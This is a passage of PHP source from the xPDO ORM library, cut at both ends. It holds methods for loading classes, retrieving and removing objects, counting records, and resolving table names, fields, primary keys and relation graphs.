$value; } /** * Call a static method from a valid package class with arguments. * * Will always search for database-specific class files first. * * @param string $class The name of a class to to get the static method from. * @param string $method The name of the method you want to call. * @param array $args An array of arguments for the method. * @param boolean $transient Indicates if the class has dbtype derivatives. Set to true if you * want to use on classes not derived from xPDOObject. * @return mixed|null The callback method's return value or null if no valid method is found. */ public function call($class, $method, array $args = array(), $transient = false) { $return = null; $callback = ''; if ($transient) { $className = $this->loadClass($class, '', false, true); if ($className) { $callback = array($className, $method); } } else { $className = $this->loadClass($class); if ($className) { $className .= '_' . $this->getOption('dbtype'); $callback = array($className, $method); } } if (!empty($callback) && is_callable($callback)) { try { $return = call_user_func_array($callback, $args); } catch (Exception $e) { $this->log(xPDO::LOG_LEVEL_ERROR, "An exception occurred calling {$className}::{$method}() - " . $e->getMessage()); } } else { $this->log(xPDO::LOG_LEVEL_ERROR, "{$class}::{$method}() is not a valid static method."); } return $return; } /** * Creates a new instance of a specified class. * * All new objects created with this method are transient until {@link * xPDOObject::save()} is called the first time and is reflected by the * {@link xPDOObject::$_new} property. * * @param string $className Name of the class to get a new instance of. * @param array $fields An associated array of field names/values to * populate the object with. * @return object|null A new instance of the specified class, or null if a * new object could not be instantiated. */ public function newObject($className, $fields= array ()) { $instance= null; if ($className= $this->loadClass($className)) { $className .= '_' . $this->config['dbtype']; if ($instance= new $className ($this)) { if (is_array($fields) && !empty ($fields)) { $instance->fromArray($fields); } } } return $instance; } /** * Finds the class responsible for loading instances of the specified class. * * @deprecated Use call() instead. * @param string $className The name of the class to find a loader for. * @param string $method Indicates the specific loader method to use, * loadCollection or loadObject (or other public static methods). * @return callable A callable loader function. */ public function getObjectLoader($className, $method) { $loader = false; if (isset($this->config[xPDO::OPT_LOADER_CLASSES]) && is_array($this->config[xPDO::OPT_LOADER_CLASSES])) { if ($ancestry = $this->getAncestry($className, true)) { if ($callbacks = array_intersect($ancestry, $this->config[xPDO::OPT_LOADER_CLASSES])) { if ($loaderClass = reset($callbacks)) { $loader = array($loaderClass, $method); while (!is_callable($loader) && $loaderClass = next($callbacks)) { $loader = array($loaderClass, $method); } } } } } if (!is_callable($loader)) { $loader = array('xPDOObject', $method); } return $loader; } /** * Retrieves a single object instance by the specified criteria. * * The criteria can be a primary key value, and array of primary key values * (for multiple primary key objects) or an {@link xPDOCriteria} object. If * no $criteria parameter is specified, no class is found, or an object * cannot be located by the supplied criteria, null is returned. * * @uses xPDOObject::load() * @param string $className Name of the class to get an instance of. * @param mixed $criteria Primary key of the record or a xPDOCriteria object. * @param mixed $cacheFlag If an integer value is provided, this specifies * the time to live in the object cache; if cacheFlag === false, caching is * ignored for the object and if cacheFlag === true, the object will live in * cache indefinitely. * @return object|null An instance of the class, or null if it could not be * instantiated. */ public function getObject($className, $criteria= null, $cacheFlag= true) { $instance= null; if ($criteria !== null) { $instance = $this->call($className, 'load', array(& $this, $className, $criteria, $cacheFlag)); } return $instance; } /** * Retrieves a collection of xPDOObjects by the specified xPDOCriteria. * * @uses xPDOObject::loadCollection() * @param string $className Name of the class to search for instances of. * @param object|array|string $criteria An xPDOCriteria object or an array * search expression. * @param mixed $cacheFlag If an integer value is provided, this specifies * the time to live in the result set cache; if cacheFlag === false, caching * is ignored for the collection and if cacheFlag === true, the objects will * live in cache until flushed by another process. * @return array|null An array of class instances retrieved. */ public function getCollection($className, $criteria= null, $cacheFlag= true) { return $this->call($className, 'loadCollection', array(& $this, $className, $criteria, $cacheFlag)); } /** * Retrieves an iterable representation of a collection of xPDOObjects. * * @param string $className Name of the class to search for instances of. * @param mixed $criteria An xPDOCriteria object or representation. * @param bool $cacheFlag If an integer value is provided, this specifies * the time to live in the result set cache; if cacheFlag === false, caching * is ignored for the collection and if cacheFlag === true, the objects will * live in cache until flushed by another process. * @return xPDOIterator An iterable representation of a collection. */ public function getIterator($className, $criteria= null, $cacheFlag= true) { return new xPDOIterator($this, array('class' => $className, 'criteria' => $criteria, 'cacheFlag' => $cacheFlag)); } /** * Update field values across a collection of xPDOObjects. * * @param string $className Name of the class to update fields of. * @param array $set An associative array of field/value pairs representing the updates to make. * @param mixed $criteria An xPDOCriteria object or representation. * @return bool|int The number of instances affected by the update or false on failure. */ public function updateCollection($className, array $set, $criteria= null) { $affected = false; if ($this->getConnection(array(xPDO::OPT_CONN_MUTABLE => true))) { $query = $this->newQuery($className); if ($query && !empty($set)) { $query->command('UPDATE'); $query->set($set); if (!empty($criteria)) $query->where($criteria); if ($query->prepare()) { $affected = $this->exec($query->toSQL()); if ($affected === false) { $this->log(xPDO::LOG_LEVEL_ERROR, "Error updating {$className} instances using query " . $query->toSQL(), '', __METHOD__, __FILE__, __LINE__); } else { if ($this->getOption(xPDO::OPT_CACHE_DB)) { $relatedClasses = array($query->getTableClass()); $related = array_merge($this->getAggregates($className), $this->getComposites($className)); foreach ($related as $relatedAlias => $relatedMeta) { $relatedClasses[] = $relatedMeta['class']; } $relatedClasses = array_unique($relatedClasses); foreach ($relatedClasses as $relatedClass) { $this->cacheManager->delete($relatedClass, array( xPDO::OPT_CACHE_KEY => $this->getOption('cache_db_key', null, 'db'), xPDO::OPT_CACHE_HANDLER => $this->getOption(xPDO::OPT_CACHE_DB_HANDLER, null, $this->getOption(xPDO::OPT_CACHE_HANDLER, null, 'cache.xPDOFileCache')), xPDO::OPT_CACHE_FORMAT => (integer) $this->getOption('cache_db_format', null, $this->getOption(xPDO::OPT_CACHE_FORMAT, null, xPDOCacheManager::CACHE_PHP)), xPDO::OPT_CACHE_PREFIX => $this->getOption('cache_db_prefix', null, xPDOCacheManager::CACHE_DIR), 'multiple_object_delete' => true )); } } $callback = $this->getOption(xPDO::OPT_CALLBACK_ON_SAVE); if ($callback && is_callable($callback)) { call_user_func($callback, array('className' => $className, 'criteria' => $query, 'object' => null)); } } } } } else { $this->log(xPDO::LOG_LEVEL_ERROR, "Could not get connection for writing data", '', __METHOD__, __FILE__, __LINE__); } return $affected; } /** * Remove an instance of the specified className by a supplied criteria. * * @param string $className The name of the class to remove an instance of. * @param mixed $criteria Valid xPDO criteria for selecting an instance. * @return boolean True if the instance is successfully removed. */ public function removeObject($className, $criteria) { $removed= false; if ($this->getConnection(array(xPDO::OPT_CONN_MUTABLE => true))) { if ($this->getCount($className, $criteria) === 1) { if ($query= $this->newQuery($className)) { $query->command('DELETE'); $query->where($criteria); if ($query->prepare()) { if ($this->exec($query->toSQL()) !== 1) { $this->log(xPDO::LOG_LEVEL_ERROR, "xPDO->removeObject - Error deleting {$className} instance using query " . $query->toSQL()); } else { $removed= true; if ($this->getOption(xPDO::OPT_CACHE_DB)) { $this->cacheManager->delete(xPDOCacheManager::CACHE_DIR . $query->getAlias(), array('multiple_object_delete' => true)); } $callback = $this->getOption(xPDO::OPT_CALLBACK_ON_REMOVE); if ($callback && is_callable($callback)) { call_user_func($callback, array('className' => $className, 'criteria' => $query)); } } } } } else { $this->log(xPDO::LOG_LEVEL_WARN, "xPDO->removeObject - {$className} instance to remove not found!"); if ($this->getDebug() === true) $this->log(xPDO::LOG_LEVEL_DEBUG, "xPDO->removeObject - {$className} instance to remove not found using criteria " . print_r($criteria, true)); } } else { $this->log(xPDO::LOG_LEVEL_ERROR, "Could not get connection for writing data", '', __METHOD__, __FILE__, __LINE__); } return $removed; } /** * Remove a collection of instances by the supplied className and criteria. * * @param string $className The name of the class to remove a collection of. * @param mixed $criteria Valid xPDO criteria for selecting a collection. * @return boolean|integer False if the remove encounters an error, otherwise an integer value * representing the number of rows that were removed. */ public function removeCollection($className, $criteria) { $removed= false; if ($this->getConnection(array(xPDO::OPT_CONN_MUTABLE => true))) { if ($query= $this->newQuery($className)) { $query->command('DELETE'); $query->where($criteria); if ($query->prepare()) { $removed= $this->exec($query->toSQL()); if ($removed === false) { $this->log(xPDO::LOG_LEVEL_ERROR, "xPDO->removeCollection - Error deleting {$className} instances using query " . $query->toSQL()); } else { if ($this->getOption(xPDO::OPT_CACHE_DB)) { $this->cacheManager->delete(xPDOCacheManager::CACHE_DIR . $query->getAlias(), array('multiple_object_delete' => true)); } $callback = $this->getOption(xPDO::OPT_CALLBACK_ON_REMOVE); if ($callback && is_callable($callback)) { call_user_func($callback, array('className' => $className, 'criteria' => $query)); } } } else { $this->log(xPDO::LOG_LEVEL_ERROR, "xPDO->removeCollection - Error preparing statement to delete {$className} instances using query: {$query->toSQL()}"); } } } else { $this->log(xPDO::LOG_LEVEL_ERROR, "Could not get connection for writing data", '', __METHOD__, __FILE__, __LINE__); } return $removed; } /** * Retrieves a count of xPDOObjects by the specified xPDOCriteria. * * @param string $className Class of xPDOObject to count instances of. * @param mixed $criteria Any valid xPDOCriteria object or expression. * @return integer The number of instances found by the criteria. */ public function getCount($className, $criteria = null) { $count = 0; if ($query = $this->newQuery($className, $criteria)) { $stmt = null; $expr = '*'; if ($pk = $this->getPK($className)) { if (!is_array($pk)) { $pk = array($pk); } $expr = $this->getSelectColumns($className, $query->getAlias(), '', $pk); } if (isset($query->query['columns'])) { $query->query['columns'] = array(); } if (!empty($query->query['groupby']) || !empty($query->query['having'])) { $query->select($expr); if ($query->prepare()) { $countQuery = new xPDOCriteria($this, "SELECT COUNT(*) FROM ({$query->toSQL(false)}) cq", $query->bindings, $query->cacheFlag); $stmt = $countQuery->prepare(); } } else { $query->select(array("COUNT(DISTINCT {$expr})")); $stmt = $query->prepare(); } if ($stmt && $stmt->execute()) { $count = intval($stmt->fetchColumn()); } } return $count; } /** * Retrieves an xPDOObject instance with specified related objects. * * @uses xPDO::getCollectionGraph() * @param string $className The name of the class to return an instance of. * @param string|array $graph A related object graph in array or JSON * format, e.g. array('relationAlias'=>array('subRelationAlias'=>array())) * or {"relationAlias":{"subRelationAlias":{}}}. Note that the empty arrays * are necessary in order for the relation to be recognized. * @param mixed $criteria A valid xPDOCriteria instance or expression. * @param boolean|integer $cacheFlag Indicates if the result set should be * cached, and optionally for how many seconds. * @return object The object instance with related objects from the graph * hydrated, or null if no instance can be located by the criteria. */ public function getObjectGraph($className, $graph, $criteria= null, $cacheFlag= true) { $object= null; if ($collection= $this->getCollectionGraph($className, $graph, $criteria, $cacheFlag)) { if (!count($collection) === 1) { $this->log(xPDO::LOG_LEVEL_WARN, 'getObjectGraph criteria returned more than one instance.'); } $object= reset($collection); } return $object; } /** * Retrieves a collection of xPDOObject instances with related objects. * * @uses xPDOQuery::bindGraph() * @param string $className The name of the class to return a collection of. * @param string|array $graph A related object graph in array or JSON * format, e.g. array('relationAlias'=>array('subRelationAlias'=>array())) * or {"relationAlias":{"subRelationAlias":{}}}. Note that the empty arrays * are necessary in order for the relation to be recognized. * @param mixed $criteria A valid xPDOCriteria instance or condition string. * @param boolean $cacheFlag Indicates if the result set should be cached. * @return array An array of instances matching the criteria with related * objects from the graph hydrated. An empty array is returned when no * matches are found. */ public function getCollectionGraph($className, $graph, $criteria= null, $cacheFlag= true) { return $this->call($className, 'loadCollectionGraph', array(& $this, $className, $graph, $criteria, $cacheFlag)); } /** * Execute a PDOStatement and get a single column value from the first row of the result set. * * @param PDOStatement $stmt A prepared PDOStatement object ready to be executed. * @param null|integer $column 0-indexed number of the column you wish to retrieve from the row. If * null or no value is supplied, it fetches the first column. * @return mixed The value of the specified column from the first row of the result set, or null. */ public function getValue($stmt, $column= null) { $value = null; if (is_object($stmt) && $stmt instanceof PDOStatement) { $tstart = microtime(true); if ($stmt->execute()) { $this->queryTime += microtime(true) - $tstart; $this->executedQueries++; $value= $stmt->fetchColumn($column); $stmt->closeCursor(); } else { $this->queryTime += microtime(true) - $tstart; $this->executedQueries++; $this->log(xPDO::LOG_LEVEL_ERROR, "Error " . $stmt->errorCode() . " executing statement: \n" . print_r($stmt->errorInfo(), true), '', __METHOD__, __FILE__, __LINE__); } } else { $this->log(xPDO::LOG_LEVEL_ERROR, "No valid PDOStatement provided to getValue", '', __METHOD__, __FILE__, __LINE__); } return $value; } /** * Convert any valid criteria into an xPDOQuery instance. * * @todo Get criteria pre-defined in an {@link xPDOObject} class metadata * definition by name. * * @todo Define callback functions as an alternative to retreiving criteria * sql and/or bindings from the metadata. * * @param string $className The class to get predefined criteria for. * @param string $type The type of criteria to get (you can define any * type you want, but 'object' and 'collection' are the typical criteria * for retrieving single and multiple instances of an object). * @param boolean|integer $cacheFlag Indicates if the result is cached and * optionally for how many seconds. * @return xPDOCriteria A criteria object or null if not found. */ public function getCriteria($className, $type= null, $cacheFlag= true) { return $this->newQuery($className, $type, $cacheFlag); } /** * Validate and return the type of a specified criteria variable. * * @param mixed $criteria An xPDOCriteria instance or any valid criteria variable. * @return string|null The type of valid criteria passed, or null if the criteria is not valid. */ public function getCriteriaType($criteria) { $type = gettype($criteria); if ($type === 'object') { $type = get_class($criteria); if (!$criteria instanceof xPDOCriteria) { $this->log(xPDO::LOG_LEVEL_WARN, "Invalid criteria object of class {$type} encountered.", '', __METHOD__, __FILE__, __LINE__); $type = null; } } return $type; } /** * Add criteria when requesting a derivative class row automatically. * * This applies class_key filtering for single-table inheritance queries and may * provide a convenient location for similar features in the future. * * @param string $className A valid xPDOObject derivative table class. * @param xPDOQuery $criteria A valid xPDOQuery instance. * @return xPDOQuery The xPDOQuery instance with derivative criteria added. */ public function addDerivativeCriteria($className, $criteria) { if ($criteria instanceof xPDOQuery && !isset($this->map[$className]['table'])) { if (isset($this->map[$className]['fields']['class_key']) && !empty($this->map[$className]['fields']['class_key'])) { $criteria->where(array('class_key' => $this->map[$className]['fields']['class_key'])); if ($this->getDebug() === true) { $this->log(xPDO::LOG_LEVEL_DEBUG, "#1: Automatically adding class_key criteria for derivative query of class {$className}"); } } else { foreach ($this->getAncestry($className, false) as $ancestor) { if (isset($this->map[$ancestor]['table']) && isset($this->map[$ancestor]['fields']['class_key'])) { $criteria->where(array('class_key' => $className)); if ($this->getDebug() === true) { $this->log(xPDO::LOG_LEVEL_DEBUG, "#2: Automatically adding class_key criteria for derivative query of class {$className} from base table class {$ancestor}"); } break; } } } } return $criteria; } /** * Gets the package name from a specified class name. * * @param string $className The name of the class to lookup the package for. * @return string The package the class belongs to. */ public function getPackage($className) { $package= ''; if ($className= $this->loadClass($className)) { if (isset($this->map[$className]['package'])) { $package= $this->map[$className]['package']; } if (!$package && $ancestry= $this->getAncestry($className, false)) { foreach ($ancestry as $ancestor) { if (isset ($this->map[$ancestor]['package']) && ($package= $this->map[$ancestor]['package'])) { break; } } } } return $package; } /** * Load and return a named service class instance. * * @param string $name The variable name of the instance. * @param string $class The service class name. * @param string $path An optional root path to search for the class. * @param array $params An array of optional params to pass to the service * class constructor. * @return object|null A reference to the service class instance or null if * it could not be loaded. */ public function &getService($name, $class= '', $path= '', $params= array ()) { $service= null; if (!isset ($this->services[$name]) || !is_object($this->services[$name])) { if (empty ($class) && isset ($this->config[$name . '.class'])) { $class= $this->config[$name . '.class']; } elseif (empty ($class)) { $class= $name; } $className= $this->loadClass($class, $path, false, true); if (!empty($className)) { $service = new $className ($this, $params); if ($service) { $this->services[$name]=& $service; $this->$name= & $this->services[$name]; } } } if (array_key_exists($name, $this->services)) { $service= & $this->services[$name]; } else { if ($this->getDebug() === true) { $this->log(xPDO::LOG_LEVEL_DEBUG, "Problem getting service {$name}, instance of class {$class}, from path {$path}, with params " . print_r($params, true)); } else { $this->log(xPDO::LOG_LEVEL_ERROR, "Problem getting service {$name}, instance of class {$class}, from path {$path}"); } } return $service; } /** * Gets the actual run-time table name from a specified class name. * * @param string $className The name of the class to lookup a table name * for. * @param boolean $includeDb Qualify the table name with the database name. * @return string The table name for the class, or null if unsuccessful. */ public function getTableName($className, $includeDb= false) { $table= null; if ($className= $this->loadClass($className)) { if (isset ($this->map[$className]['table'])) { $table= $this->map[$className]['table']; if (isset($this->map[$className]['package']) && isset($this->packages[$this->map[$className]['package']]['prefix'])) { $table= $this->packages[$this->map[$className]['package']]['prefix'] . $table; } else { $table= $this->getOption(xPDO::OPT_TABLE_PREFIX, null, '') . $table; } } if (!$table && $ancestry= $this->getAncestry($className, false)) { foreach ($ancestry as $ancestor) { if (isset ($this->map[$ancestor]['table']) && $table= $this->map[$ancestor]['table']) { if (isset($this->map[$ancestor]['package']) && isset($this->packages[$this->map[$ancestor]['package']]['prefix'])) { $table= $this->packages[$this->map[$ancestor]['package']]['prefix'] . $table; } else { $table= $this->getOption(xPDO::OPT_TABLE_PREFIX, null, '') . $table; } break; } } } } if ($table) { $table= $this->_getFullTableName($table, $includeDb); if ($this->getDebug() === true) $this->log(xPDO::LOG_LEVEL_DEBUG, 'Returning table name: ' . $table . ' for class: ' . $className); } else { $this->log(xPDO::LOG_LEVEL_ERROR, 'Could not get table name for class: ' . $className); } return $table; } /** * Get the class which defines the table for a specified className. * * @param string $className The name of a class to determine the table class from. * @return null|string The name of a class defining the table for the specified className; null if not found. */ public function getTableClass($className) { $tableClass= null; if ($className= $this->loadClass($className)) { if (isset ($this->map[$className]['table'])) { $tableClass= $className; } if (!$tableClass && $ancestry= $this->getAncestry($className, false)) { foreach ($ancestry as $ancestor) { if (isset ($this->map[$ancestor]['table'])) { $tableClass= $ancestor; break; } } } } if ($tableClass) { if ($this->getDebug() === true) { $this->log(xPDO::LOG_LEVEL_DEBUG, 'Returning table class: ' . $tableClass . ' for class: ' . $className); } } else { $this->log(xPDO::LOG_LEVEL_ERROR, 'Could not get table class for class: ' . $className); } return $tableClass; } /** * Gets the actual run-time table metadata from a specified class name. * * @param string $className The name of the class to lookup a table name * for. * @return string The table meta data for the class, or null if * unsuccessful. */ public function getTableMeta($className) { $tableMeta= null; if ($className= $this->loadClass($className)) { if (isset ($this->map[$className]['tableMeta'])) { $tableMeta= $this->map[$className]['tableMeta']; } if (!$tableMeta && $ancestry= $this->getAncestry($className)) { foreach ($ancestry as $ancestor) { if (isset ($this->map[$ancestor]['tableMeta'])) { if ($tableMeta= $this->map[$ancestor]['tableMeta']) { break; } } } } } return $tableMeta; } /** * Indicates the inheritance model for the xPDOObject class specified. * * @param string $className The class to determine the table inherit type from. * @return string single, multiple, or none */ public function getInherit($className) { $inherit= false; if ($className= $this->loadClass($className)) { if (isset ($this->map[$className]['inherit'])) { $inherit= $this->map[$className]['inherit']; } if (!$inherit && $ancestry= $this->getAncestry($className, false)) { foreach ($ancestry as $ancestor) { if (isset ($this->map[$ancestor]['inherit'])) { $inherit= $this->map[$ancestor]['inherit']; break; } } } } if (!empty($inherit)) { if ($this->getDebug() === true) { $this->log(xPDO::LOG_LEVEL_DEBUG, 'Returning inherit: ' . $inherit . ' for class: ' . $className); } } else { $inherit= 'none'; } return $inherit; } /** * Gets a list of fields (or columns) for an object by class name. * * This includes default values for each field and is used by the objects * themselves to build their initial attributes based on class inheritence. * * @param string $className The name of the class to lookup fields for. * @return array An array featuring field names as the array keys, and * default field values as the array values; empty array is returned if * unsuccessful. */ public function getFields($className) { $fields= array (); if ($className= $this->loadClass($className)) { if ($ancestry= $this->getAncestry($className)) { for ($i= count($ancestry) - 1; $i >= 0; $i--) { if (isset ($this->map[$ancestry[$i]]['fields'])) { $fields= array_merge($fields, $this->map[$ancestry[$i]]['fields']); } } } if ($this->getInherit($className) === 'single') { $descendants= $this->getDescendants($className); if ($descendants) { foreach ($descendants as $descendant) { $descendantClass= $this->loadClass($descendant); if ($descendantClass && isset($this->map[$descendantClass]['fields'])) { $fields= array_merge($fields, array_diff_key($this->map[$descendantClass]['fields'], $fields)); } } } } } return $fields; } /** * Gets a list of field (or column) definitions for an object by class name. * * These definitions are used by the objects themselves to build their * own meta data based on class inheritance. * * @param string $className The name of the class to lookup fields meta data * for. * @param boolean $includeExtended If true, include meta from all derivative * classes in loaded packages. * @return array An array featuring field names as the array keys, and * arrays of metadata information as the array values; empty array is * returned if unsuccessful. */ public function getFieldMeta($className, $includeExtended = false) { $fieldMeta= array (); if ($className= $this->loadClass($className)) { if ($ancestry= $this->getAncestry($className)) { for ($i= count($ancestry) - 1; $i >= 0; $i--) { if (isset ($this->map[$ancestry[$i]]['fieldMeta'])) { $fieldMeta= array_merge($fieldMeta, $this->map[$ancestry[$i]]['fieldMeta']); } } } if ($includeExtended && $this->getInherit($className) === 'single') { $descendants= $this->getDescendants($className); if ($descendants) { foreach ($descendants as $descendant) { $descendantClass= $this->loadClass($descendant); if ($descendantClass && isset($this->map[$descendantClass]['fieldMeta'])) { $fieldMeta= array_merge($fieldMeta, array_diff_key($this->map[$descendantClass]['fieldMeta'], $fieldMeta)); } } } } } return $fieldMeta; } /** * Gets a collection of field aliases for an object by class name. * * @param string $className The name of the class to lookup field aliases for. * @return array An array of field aliases with aliases as keys and actual field names as values. */ public function getFieldAliases($className) { $fieldAliases= array (); if ($className= $this->loadClass($className)) { if ($ancestry= $this->getAncestry($className)) { for ($i= count($ancestry) - 1; $i >= 0; $i--) { if (isset ($this->map[$ancestry[$i]]['fieldAliases'])) { $fieldAliases= array_merge($fieldAliases, $this->map[$ancestry[$i]]['fieldAliases']); } } } if ($this->getInherit($className) === 'single') { $descendants= $this->getDescendants($className); if ($descendants) { foreach ($descendants as $descendant) { $descendantClass= $this->loadClass($descendant); if ($descendantClass && isset($this->map[$descendantClass]['fieldAliases'])) { $fieldAliases= array_merge($fieldAliases, array_diff_key($this->map[$descendantClass]['fieldAliases'], $fieldAliases)); } } } } } return $fieldAliases; } /** * Gets a set of validation rules defined for an object by class name. * * @param string $className The name of the class to lookup validation rules * for. * @return array An array featuring field names as the array keys, and * arrays of validation rule information as the array values; empty array is * returned if unsuccessful. */ public function getValidationRules($className) { $rules= array(); if ($className= $this->loadClass($className)) { if ($ancestry= $this->getAncestry($className)) { for ($i= count($ancestry) - 1; $i >= 0; $i--) { if (isset($this->map[$ancestry[$i]]['validation']['rules'])) { $rules= array_merge($rules, $this->map[$ancestry[$i]]['validation']['rules']); } } } if ($this->getInherit($className) === 'single') { $descendants= $this->getDescendants($className); if ($descendants) { foreach ($descendants as $descendant) { $descendantClass= $this->loadClass($descendant); if ($descendantClass && isset($this->map[$descendantClass]['validation']['rules'])) { $rules= array_merge($rules, array_diff_key($this->map[$descendantClass]['validation']['rules'], $rules)); } } } } if ($this->getDebug() === true) { $this->log(xPDO::LOG_LEVEL_DEBUG, "Returning validation rules: " . print_r($rules, true)); } } return $rules; } /** * Get indices defined for a table class. * * @param string $className The name of the class to lookup indices for. * @return array An array of indices and their details for the specified class. */ public function getIndexMeta($className) { $indices= array(); if ($className= $this->loadClass($className)) { if ($ancestry= $this->getAncestry($className)) { for ($i= count($ancestry) -1; $i >= 0; $i--) { if (isset($this->map[$ancestry[$i]]['indexes'])) { $indices= array_merge($indices, $this->map[$ancestry[$i]]['indexes']); } } if ($this->getInherit($className) === 'single') { $descendants= $this->getDescendants($className); if ($descendants) { foreach ($descendants as $descendant) { $descendantClass= $this->loadClass($descendant); if ($descendantClass && isset($this->map[$descendantClass]['indexes'])) { $indices= array_merge($indices, array_diff_key($this->map[$descendantClass]['indexes'], $indices)); } } } } if ($this->getDebug() === true) { $this->log(xPDO::LOG_LEVEL_DEBUG, "Returning indices: " . print_r($indices, true)); } } } return $indices; } /** * Gets the primary key field(s) for a class. * * @param string $className The name of the class to lookup the primary key * for. * @return mixed The name of the field representing a class instance primary * key, an array of key names for compound primary keys, or null if no * primary key is found or defined for the class. */ public function getPK($className) { $pk= null; if (strcasecmp($className, 'xPDOObject') !== 0) { if ($actualClassName= $this->loadClass($className)) { if (isset ($this->map[$actualClassName]['indexes'])) { foreach ($this->map[$actualClassName]['indexes'] as $k => $v) { if (isset ($this->map[$actualClassName]['fieldMeta'][$k]['phptype'])) { if (isset ($v['primary']) && $v['primary'] == true) { $pk[$k]= $k; } } } } if (isset ($this->map[$actualClassName]['fieldMeta'])) { foreach ($this->map[$actualClassName]['fieldMeta'] as $k => $v) { if (isset ($v['index']) && isset ($v['phptype']) && $v['index'] == 'pk') { $pk[$k]= $k; } } } if ($ancestry= $this->getAncestry($actualClassName)) { foreach ($ancestry as $ancestor) { if ($ancestorClassName= $this->loadClass($ancestor)) { if (isset ($this->map[$ancestorClassName]['indexes'])) { foreach ($this->map[$ancestorClassName]['indexes'] as $k => $v) { if (isset ($this->map[$ancestorClassName]['fieldMeta'][$k]['phptype'])) { if (isset ($v['primary']) && $v['primary'] == true) { $pk[$k]= $k; } } } } if (isset ($this->map[$ancestorClassName]['fieldMeta'])) { foreach ($this->map[$ancestorClassName]['fieldMeta'] as $k => $v) { if (isset ($v['index']) && isset ($v['phptype']) && $v['index'] == 'pk') { $pk[$k]= $k; } } } } } } if ($pk && count($pk) === 1) { $pk= current($pk); } } else { $this->log(xPDO::LOG_LEVEL_ERROR, "Could not load class {$className}"); } } return $pk; } /** * Gets the type of primary key field for a class. * * @param string $className The name of the class to lookup the primary key * type for. * @param mixed $pk Optional specific PK column or columns to get type(s) for. * @return string The type of the field representing a class instance primary * key, or null if no primary key is found or defined for the class. */ public function getPKType($className, $pk= false) { $pktype= null; if ($actualClassName= $this->loadClass($className)) { if (!$pk) $pk= $this->getPK($actualClassName); if (!is_array($pk)) $pk= array($pk); $ancestry= $this->getAncestry($actualClassName, true); foreach ($pk as $_pk) { foreach ($ancestry as $parentClass) { if (isset ($this->map[$parentClass]['fieldMeta'][$_pk]['phptype'])) { $pktype[$_pk]= $this->map[$parentClass]['fieldMeta'][$_pk]['phptype']; break; } } } if (is_array($pktype) && count($pktype) == 1) { $pktype= reset($pktype); } elseif (empty($pktype)) { $pktype= null; } } else { $this->log(xPDO::LOG_LEVEL_ERROR, "Could not load class {$className}!"); } return $pktype; } /** * Gets a collection of aggregate foreign key relationship definitions. * * @param string $className The fully-qualified name of the class. * @return array An array of aggregate foreign key relationship definitions. */ public function getAggregates($className) { $aggregates= array (); if ($className= $this->loadClass($className)) { if ($ancestry= $this->getAncestry($className)) { for ($i= count($ancestry) - 1; $i >= 0; $i--) { if (isset ($this->map[$ancestry[$i]]['aggregates'])) { $aggregates= array_merge($aggregates, $this->map[$ancestry[$i]]['aggregates']); } } } if ($this->getInherit($className) === 'single') { $descendants= $this->getDescendants($className); if ($descendants) { foreach ($descendants as $descendant) { $descendantClass= $this->loadClass($descendant); if ($descendantClass && isset($this->map[$descendantClass]['aggregates'])) { $aggregates= array_merge($aggregates, array_diff_key($this->map[$descendantClass]['aggregates'], $aggregates)); } } } } } return $aggregates; } /** * Gets a collection of composite foreign key relationship definitions. * * @param string $className The fully-qualified name of the class. * @return array An array of composite foreign key relationship definitions. */ public function getComposites($className) { $composites= array (); if ($className= $this->loadClass($className)) { if ($ancestry= $this->getAncestry($className)) { for ($i= count($ancestry) - 1; $i >= 0; $i--) { if (isset ($this->map[$ancestry[$i]]['composites'])) { $composites= array_merge($composites, $this->map[$ancestry[$i]]['composites']); } } } if ($this->getInherit($className) === 'single') { $descendants= $this->getDescendants($className); if ($descendants) { foreach ($descendants as $descendant) { $descendantClass= $this->loadClass($descendant); if ($descendantClass && isset($this->map[$descendantClass]['composites'])) { $composites= array_merge($composites, array_diff_key($this->map[$descendantClass]['composites'], $composites)); } } } } } return $composites; } /** * Get a complete relation graph for an xPDOObject class. * * @param string $className A fully-qualified xPDOObject class name. * @param int $depth The depth to retrieve relations for the graph, defaults to 3. * @param array &$parents An array of parent classes to avoid traversing circular dependencies. * @param array &$visited An array of already visited classes to avoid traversing circular dependencies. * @return array An xPDOObject relation graph, or an empty array if no graph can be constructed. */ public function getGraph($className, $depth= 3, &$parents = array(), &$visited = array()) { $graph = array(); $className = $this->loadClass($className); if ($className && $depth > 0) { $depth--; $parents = array_merge($parents, $this->getAncestry($className)); $parentsNested = array_unique($parents); $visitNested = array_merge($visited, array($className)); $relations = array_merge($this->getAggregates($className), $this->getComposites($className)); foreach ($relations as $alias => $relation) { if (in_array($relation['class'], $visited)) { continue; } $childGraph = array(); if ($depth > 0 && !in_array($relation['class'], $parents)) { $childGraph = $this->getGraph($relation['class'], $depth, $parentsNested, $visitNested); } $graph[$alias] = $childGraph; } $visited[] = $className; } return $graph; } /** * Retrieves the complete ancestry for a class. * * @param string $className The name of the class. * @param bool $includeSelf Determines if the specified class should be * included in the resulting array. * @return array An array of string class names representing the class * hierarchy, or an empty array if unsuccessful. */ public function getAncestry($className, $includeSelf= true) { $ancestry= array (); if ($actualClassName= $this->loadClass($className)) { $ancestor= $actualClassName; if ($includeSelf) { $ancestry[]= $actualClassName; } while ($ancestor= get_parent_class($ancestor)) { $ancestry[]= $ancestor; } if ($this->getDebug() === true) { $this->log(xPDO::LOG_LEVEL_DEBUG, "Returning ancestry for {$className}: " . print_r($ancestry, 1)); } } return $ancestry; } /** * Gets select columns from a specific class for building a query. * * @uses xPDOObject::getSelectColumns() * @param string $className The name of the class to build the column list * from. * @param string $tableAlias An optional alias for the class table, to be * used in complex queries with multiple tables. * @param string $columnPrefix An optional string with which to prefix the * columns returned, to avoid name collisions in return columns. * @param array $columns An optional array of columns to include. * @param boolean $exclude If true, will exclude columns in the previous * parameter, instead of including them. * @return string A valid SQL string of column names for a SELECT statement. */ public function getSelectColumns($className, $tableAlias= '', $columnPrefix= '', $columns= array (), $exclude= false) { return $this->call($className, 'getSelectColumns', array(&$this, $className, $tableAlias, $columnPrefix, $columns, $exclude)); } /** * Gets an aggregate or composite relation definition from a class. * * @param string $parentClass The class from which the relation is defined. * @param string $alias The alias identifying the related class. * @return array The aggregate or composite definition details in an array * or null if no definition is found. */ function getFKDefinition($parentClass, $alias) { $def= null; $parentClass= $this->loadClass($parentClass); if ($parentClass && $alias) { if ($aggregates= $this->getAggregates($parentClass)) { if (isset ($aggregates[$alias])) { $def= $aggregates[$alias]; $def['type']= 'aggregate'; } } if ($composites= $this->getComposites($parentClass)) { if (isset ($composites[$alias])) { $def= $composites[$alias]; $def['type']= 'composite'; } } } if ($def === null) { 